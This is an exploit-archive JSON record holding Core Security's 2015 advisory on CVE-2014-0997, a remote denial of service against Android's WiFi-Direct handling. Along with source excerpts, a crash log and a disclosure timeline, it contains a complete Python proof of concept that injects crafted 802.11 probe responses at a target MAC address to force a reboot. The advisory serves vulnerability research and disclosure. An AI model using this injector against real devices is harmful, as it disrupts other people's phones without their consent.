{"exploit":{"id":"EDB-35913","name":"Android WiFi-Direct - Denial of Service (DoS)","description":"Android WiFi-Direct - Denial of Service (DoS)","cves":["CVE-2014-0997"],"author":"Core Security","published":"2015-01-26","platform":"android","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/35913","path":"exploits/android/dos/35913.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-35913.txt","vulnerabilities":[{"id":"CVE-2014-0997","state":"PUBLISHED","title":null,"titleSource":null,"description":"WiFiMonitor in Android 4.4.4 as used in the Nexus 5 and 4, Android 4.2.2 as used in the LG D806, Android 4.2.2 as used in the Samsung SM-T310, Android 4.1.2 as used in the Motorola RAZR HD, and potentially other unspecified Android releases before 5.0.1 and 5.0.2 does not properly handle exceptions, which allows remote attackers to cause a denial of service (reboot) via a crafted 802.11 probe response frame.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-0997","cvss":{"version":"3.0","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-0997"},"updatedAt":"2024-08-06T09:34:40.515Z","retrievedAt":"2026-11-27T14:08:38.645Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-35913.png?v=2","url":"https://exploitbin.com/exploits/EDB-35913","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-35913/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-35913/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Core Security - Corelabs Advisory\nhttp://corelabs.coresecurity.com/\n\nAndroid WiFi-Direct Denial of Service\n\n\n1. *Advisory Information*\n\nTitle: Android WiFi-Direct Denial of Service\nAdvisory ID: CORE-2015-0002\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/android-wifi-direct-denial-service\nDate published: 2015-01-26\nDate of last update: 2015-01-26\nVendors contacted: Android Security Team\nRelease mode: User release\n\n\n2. *Vulnerability Information*\n\nClass: Uncaught Exception [CWE-248]\nImpact: Denial of service\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2014-0997\n\n\n3. *Vulnerability Description*\n\n  Some Android devices are affected by a Denial of Service attack when\n  scanning for WiFi Direct devices.\n\n  An attacker could send a specially crafted 802.11 Probe Response frame\n  causing the Dalvik subsystem to reboot because of an Unhandle Exception\n  on WiFiMonitor class.\n\n\n4. *Vulnerable Packages*\n\n  . Nexus 5 - Android 4.4.4\n  . Nexus 4 - Android 4.4.4\n  . LG D806 - Android 4.2.2\n  . Samsung SM-T310 - Android 4.2.2\n  . Motorola RAZR HD - Android 4.1.2\n\n  Other devices could be also affected.\n\n\n5. *Non-vulnerable packages*\n\n  . Android 5.0.1\n  . Android 5.0.2\n\n\n6. *Vendor Information, Solutions and Workarounds*\n\n  Some mitigation actions may be to avoid using WiFi-Direct or update\nto a non-vulnerable Android version.\n  Contact vendor for further information.\n\n7. *Credits*\n\n  This vulnerability was discovered and researched by Andres Blanco\nfrom the CoreLabs\n  Team. The publication of this advisory was coordinated by the Core\nAdvisories\n  Team.\n\n\n8. *Technical Description / Proof of Concept Code*\n\n\n  Android makes use of a modified *wpa_supplicant*[1]\n  in order to provide an interface between the wireless driver and the\nAndroid platform framework.\n\n  Below the function that handles *wpa_supplicant* events. This function\n  returns a jstring from calling NewStringUTF method.\n\n/-----\n   static jstring android_net_wifi_waitForEvent(JNIEnv* env, jobject)\n   {\n       char buf[EVENT_BUF_SIZE];\n       int nread = ::wifi_wait_for_event(buf, sizeof buf);\n       if (nread > 0) {\n           return env->NewStringUTF(buf);\n       } else {\n       return NULL;\n       }\n   }\n-----/\n\n  The WiFi-Direct specification defines the P2P discovery procedure to\nenable P2P\n  devices to exchange device information, the device name is part of\nthis information.\n\n  The WifiP2pDevice class, located at\n/wifi/java/android/net/wifi/p2p/WifiP2pDevice.java,\n  represents a Wi-Fi p2p device. The constructor method receives the\nstring provided by\n  the *wpa_supplicant* and throws an IllegalArgumentException in case\n  the event is malformed.\n\n  Below partial content of the WiFiP2PDevice.java file.\n\n/-----\n       [...]\n\n       /** Detailed device string pattern with WFD info\n        * Example:\n        *  P2P-DEVICE-FOUND 00:18:6b:de:a3:6e\np2p_dev_addr=00:18:6b:de:a3:6e\n        *  pri_dev_type=1-0050F204-1 name='DWD-300-DEA36E'\nconfig_methods=0x188\n        *  dev_capab=0x21 group_capab=0x9\n        */\n       private static final Pattern detailedDevicePattern =\nPattern.compile(\n           \"((?:[0-9a-f]{2}:){5}[0-9a-f]{2}) \" +\n           \"(\\\\d+ )?\" +\n           \"p2p_dev_addr=((?:[0-9a-f]{2}:){5}[0-9a-f]{2}) \" +\n           \"pri_dev_type=(\\\\d+-[0-9a-fA-F]+-\\\\d+) \" +\n           \"name='(.*)' \" +\n           \"config_methods=(0x[0-9a-fA-F]+) \" +\n           \"dev_capab=(0x[0-9a-fA-F]+) \" +\n           \"group_capab=(0x[0-9a-fA-F]+)\" +\n           \"( wfd_dev_info=0x000006([0-9a-fA-F]{12}))?\"\n       );\n\n       [...]\n\n       /**\n        * @param string formats supported include\n        *  P2P-DEVICE-FOUND fa:7b:7a:42:02:13\np2p_dev_addr=fa:7b:7a:42:02:13\n        *  pri_dev_type=1-0050F204-1 name='p2p-TEST1'\nconfig_methods=0x188 dev_capab=0x27\n        *  group_capab=0x0 wfd_dev_info=000006015d022a0032\n        *\n        *  P2P-DEVICE-LOST p2p_dev_addr=fa:7b:7a:42:02:13\n        *\n        *  AP-STA-CONNECTED 42:fc:89:a8:96:09\n[p2p_dev_addr=02:90:4c:a0:92:54]\n        *\n        *  AP-STA-DISCONNECTED 42:fc:89:a8:96:09\n[p2p_dev_addr=02:90:4c:a0:92:54]\n        *\n        *  fa:7b:7a:42:02:13\n        *\n        *  Note: The events formats can be looked up in the\nwpa_supplicant code\n        * @hide\n        */\n       public WifiP2pDevice(String string) throws\nIllegalArgumentException {\n           String[] tokens = string.split(\"[ \\n]\");\n           Matcher match;\n\n           if (tokens.length < 1) {\n               throw new IllegalArgumentException(\"Malformed supplicant\nevent\");\n           }\n\n           switch (tokens.length) {\n               case 1:\n                   /* Just a device address */\n                   deviceAddress = string;\n                   return;\n               case 2:\n                   match = twoTokenPattern.matcher(string);\n                   if (!match.find()) {\n                       throw new IllegalArgumentException(\"Malformed\nsupplicant event\");\n                   }\n                   deviceAddress = match.group(2);\n                   return;\n               case 3:\n                   match = threeTokenPattern.matcher(string);\n                   if (!match.find()) {\n                       throw new IllegalArgumentException(\"Malformed\nsupplicant event\");\n                   }\n                   deviceAddress = match.group(1);\n                   return;\n               default:\n                   match = detailedDevicePattern.matcher(string);\n                   if (!match.find()) {\n                       throw new IllegalArgumentException(\"Malformed\nsupplicant event\");\n                   }\n\n                   deviceAddress = match.group(3);\n                   primaryDeviceType = match.group(4);\n                   deviceName = match.group(5);\n                   wpsConfigMethodsSupported = parseHex(match.group(6));\n                   deviceCapability = parseHex(match.group(7));\n                   groupCapability = parseHex(match.group(8));\n                   if (match.group(9) != null) {\n                       String str = match.group(10);\n                       wfdInfo = new\nWifiP2pWfdInfo(parseHex(str.substring(0,4)),\n                               parseHex(str.substring(4,8)),\n                               parseHex(str.substring(8,12)));\n                   }\n                   break;\n           }\n\n           if (tokens[0].startsWith(\"P2P-DEVICE-FOUND\")) {\n               status = AVAILABLE;\n           }\n       }\n\n       [...]\n-----/\n\n  On some Android devices when processing a probe response frame with a\nWiFi-Direct(P2P)\n  information element that contains a device name attribute with\nspecific bytes generates\n  a malformed supplicant event string that ends up throwing the\nIllegalArgumentException.\n  As this exception is not handled the Android system restarts.\n\n  Below partial content of the logcat of a Samsung SM-T310 running\nAndroid 4.2.2.\n\n/-----\n     I/p2p_supplicant( 2832): P2P-DEVICE-FOUND 00.EF.00\np2p_dev_addr=00.EF.00 pri_dev_type=10-0050F204-5  'fa¬¬'\nconfig_methods=0x188 dev_capab=0x21 group_capab=0x0\n     E/AndroidRuntime( 2129): !@*** FATAL EXCEPTION IN SYSTEM PROCESS:\nWifiMonitor\n     E/AndroidRuntime( 2129): java.lang.IllegalArgumentException:\nMalformed supplicant event\n     E/AndroidRuntime( 2129):        at\nandroid.net.wifi.p2p.WifiP2pDevice.<init>(WifiP2pDevice.java:229)\n     E/AndroidRuntime( 2129):        at\nandroid.net.wifi.WifiMonitor$MonitorThread.handleP2pEvents(WifiMonitor.java:966)\n     E/AndroidRuntime( 2129):        at\nandroid.net.wifi.WifiMonitor$MonitorThread.run(WifiMonitor.java:574)\n     E/android.os.Debug( 2129): !@Dumpstate > dumpstate -k -t -z -d -o\n/data/log/dumpstate_sys_error\n-----/\n\n\n8.1. *Proof of Concept*\n\n\n  This PoC was implemented using the open source library Lorcon\n  [2] and PyLorcon2 [3], a Python wrapper for the Lorcon library.\n\n/-----\n   #!/usr/bin/env python\n\n   import sys\n   import time\n   import struct\n   import PyLorcon2\n\n\n   def get_probe_response(source, destination, channel):\n       frame = str()\n       frame += \"\\x50\\x00\"  # Frame Control\n       frame += \"\\x00\\x00\"  # Duration\n       frame += destination\n       frame += source\n       frame += source\n       frame += \"\\x00\\x00\"  # Sequence Control\n       frame += \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"  # Timestamp\n       frame += \"\\x64\\x00\"  # Beacon Interval\n       frame += \"\\x30\\x04\"  # Capabilities Information\n\n       # SSID IE\n       frame += \"\\x00\"\n       frame += \"\\x07\"\n       frame += \"DIRECT-\"\n\n       # Supported Rates\n       frame += \"\\x01\"\n       frame += \"\\x08\"\n       frame += \"\\x8C\\x12\\x98\\x24\\xB0\\x48\\x60\\x6C\"\n\n       # DS Parameter Set\n       frame += \"\\x03\"\n       frame += \"\\x01\"\n       frame += struct.pack(\"B\", channel)\n\n       # P2P\n       frame += \"\\xDD\"\n       frame += \"\\x27\"\n       frame += \"\\x50\\x6F\\x9A\"\n       frame += \"\\x09\"\n       # P2P Capabilities\n       frame += \"\\x02\" # ID\n       frame += \"\\x02\\x00\" # Length\n       frame += \"\\x21\\x00\"\n       # P2P Device Info\n       frame += \"\\x0D\" # ID\n       frame += \"\\x1B\\x00\" # Length\n       frame += source\n       frame += \"\\x01\\x88\"\n       frame += \"\\x00\\x0A\\x00\\x50\\xF2\\x04\\x00\\x05\"\n       frame += \"\\x00\"\n       frame += \"\\x10\\x11\"\n       frame += \"\\x00\\x06\"\n       frame += \"fafa\\xFA\\xFA\"\n\n       return frame\n\n\n   def str_to_mac(address):\n       return \"\".join(map(lambda i: chr(int(i, 16)), address.split(\":\")))\n\n\n   if __name__ == \"__main__\":\n       if len(sys.argv) != 3:\n           print \"Usage:\"\n           print \"  poc.py <iface> <target>\"\n           print \"Example:\"\n           print \"  poc.py wlan0 00:11:22:33:44:55\"\n           sys.exit(-1)\n\n       iface = sys.argv[1]\n       destination = str_to_mac(sys.argv[2])\n\n       context = PyLorcon2.Context(iface)\n       context.open_injmon()\n\n       channel = 1\n       source = str_to_mac(\"00:11:22:33:44:55\")\n       frame = get_probe_response(source, destination, channel)\n\n       print \"Injecting PoC.\"\n       for i in range(100):\n           context.send_bytes(frame)\n           time.sleep(0.100)\n-----/\n\n\n9. *Report Timeline*\n\n  . 2014-09-26:\n       Core Security contacts Android security team to inform them that\na vulnerability has been found in Android. Core Security sends a draft\nadvisory with technical details and PoC files.\n  . 2014-09-29:\n       Android Security Team acknowledges reception of the advisory.\n  . 2014-09-30:\n       Core Security notifies that the tentative publication date is\nset for Oct 20rd, 2014.\n  . 2014-09-30:\n       Android Security Team acknowledges.\n  . 2014-10-16:\n       Core Security requests a status update.\n  . 2014-10-16:\n       Android Security Team responds that they have classify the\nvulnerability as low severity and don't currently have a timeline for\nreleasing a fix.\n  . 2014-10-20:\n       Core Security does not completely agrees with the vulnerability\nclassification and reschedule the publication of the advisory.\n  . 2014-10-16:\n       Android Security Team acknowledges and strengthens it's position\nthat they don't currently have a timeline for releasing a fix.\n  . 2015-01-06:\n       Core Security requests a status update.\n  . 2015-01-12:\n       Core Security asks for confirmation of reception of the previous\nemail.\n  . 2015-01-16:\n       Android Security Team acknowledges and respond that they don't\ncurrently have a timeline for releasing a fix.\n  . 2015-01-19:\n       Core Security notifies that vendor cooperation is needed in\norder to keep this process coordinated. If vendor refuses to provide the\nrequested information the advisory will be released tagged as 'user\nrelease'. The advisory is re-scheduled for January 26th, 2015.\n  . 2015-01-20:\n       Android Security Team acknowledges and respond that they don't\ncurrently have a timeline for releasing a fix.\n  . 2015-01-26:\n       The advisory CORE-2015-0002 is published.\n\n\n10. *References*\n\n[1] - wpa_supplicant site. http://w1.fi/wpa_supplicant/\n[2] - Lorcon site. https://code.google.com/p/lorcon\n[3] - PyLorcon2 site. http://code.google.com/p/pylorcon2\n\n\n11. *About CoreLabs*\n\n  CoreLabs, the research center of Core Security, is charged with\nanticipating\n  the future needs and requirements for information security technologies.\n  We conduct our research in several important areas of computer security\n  including system vulnerabilities, cyber attack planning and simulation,\n  source code auditing, and cryptography. Our results include problem\n  formalization, identification of vulnerabilities, novel solutions and\n  prototypes for new technologies. CoreLabs regularly publishes security\n  advisories, technical papers, project information and shared software\n  tools for public use at:\n  http://corelabs.coresecurity.com.\n\n\n12. *About Core Security Technologies*\n\n   Core Security Technologies enables organizations to get ahead of threats\n   with security test and measurement solutions that continuously identify\n   and demonstrate real-world exposures to their most critical assets. Our\n   customers can gain real visibility into their security standing, real\n   validation of their security controls, and real metrics to more\n   effectively secure their organizations.\n\n   Core Security's software solutions build on over a decade of trusted\n   research and leading-edge threat expertise from the company's Security\n   Consulting Services, CoreLabs and Engineering groups. Core Security\n   Technologies can be reached at +1 (617) 399-6980 or on the Web at:\n   http://www.coresecurity.com.\n\n\n13. *Disclaimer*\n\n   The contents of this advisory are copyright\n   (c) 2014 Core Security and (c) 2014 CoreLabs,\n   and are licensed under a Creative Commons\n   Attribution Non-Commercial Share-Alike 3.0 (United States) License:\n   http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n\n14. *PGP/GPG Keys*\n\n   This advisory has been signed with the GPG key of Core Security\n   advisories team, which is available for download at\n\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc.","sha256":"89dd49ff8bb466a0dd7943d23e7f84b0819541a85887d9e41682c3845f7e41d3","bytes":13905,"fetchedAt":"2026-11-27T14:08:37.015Z","encoding":"utf-8 (display only; download retains original bytes)"}